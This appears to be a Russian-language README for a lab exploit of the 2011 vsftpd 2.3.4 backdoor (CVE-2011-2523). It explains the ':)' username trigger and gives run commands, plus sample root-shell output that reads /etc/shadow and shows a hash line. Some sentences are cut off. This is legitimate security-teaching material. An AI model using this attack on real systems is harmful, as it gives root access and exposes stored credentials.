Разработка эксплойтов с нуля на Python. Без Metasploit. Без фреймворков. Реализация реальных CVE на уровне сырых сокетов против авторизованных лабораторных целей.
vsftpd (Very Secure FTP Daemon) — это FTP-сервер для Unix-подобных платформ, включая Linux, распространяемый под лицензией GNU General Public License.
В июле 2011 года было обнаружено, что версия vsftpd 2.3.4 — доступная для скачивания в период с 30 июня по 3 июля 2011 года — была скомпрометирована. Неизвестный злоумышленник получил доступ к серверу распространения vsftpd и внедрил бэкдор непосредственно в исходный код до того, как он был отправлен пользователям.
Это была не ошибка в дизайне vsftpd. Это была атака на цепочку поставок — легитимное программное обеспечение было заменено на вредоносную модифицированную версию.
Внедрённый код бэкдора отслеживает поле имени пользователя FTP во время входа.
Если имя пользователя содержит :) (смайлик), бэкдор запускает
на целевой машине — без
необходимости аутентификации.
Схема атаки:
Атакующий → порт 21 (FTP) → отправляет USER, содержащий :) → срабатывает бэкдор → root-оболочка открывается на порту 6200
Атакующий → порт 6200 → полноценная интерактивная root-оболочка
Классификация CWE: CWE-78 — Некорректная нейтрализация специальных элементов, используемых в командах ОС (внедрение команд ОС)
Этот эксплойт написан с нуля на чистом Python с использованием только
стандартной библиотеки (socket). Без Metasploit. Без фреймворков для
эксплуатации. Без внешних зависимостей.
Пошагово:
:), для активации бэкдора# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Пример вывода:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Сценарий | Поведение |
|---|---|
| Порт 21 закрыт | Выводит "Port is closed", корректно завершает работу |
| Тайм-аут соединения | Выводит "Connection timed out", корректно завершает работу |
| Неверное имя хоста/IP | Выводит "Invalid target", корректно завершает работу |
| Неверная версия vsftpd | Выводит сообщение о несоответствии, корректно завершает работу |
| Порт 6200 недоступен | Выводит сообщение об ошибке бэкдора, корректно завершает работу |
Этот эксплойт разработан строго в образовательных целях и только для авторизованных исследований в области безопасности.
Создан и протестирован исключительно на локальной виртуальной машине Metasploitable2 в полностью изолированной лабораторной среде.
Не используйте это против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Несанкционированное использование является незаконным в соответствии с Computer Fraud and Abuse Act (CFAA) и аналогичными законами по всему миру.
Автор не несёт ответственности за неправомерное использование этого кода.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub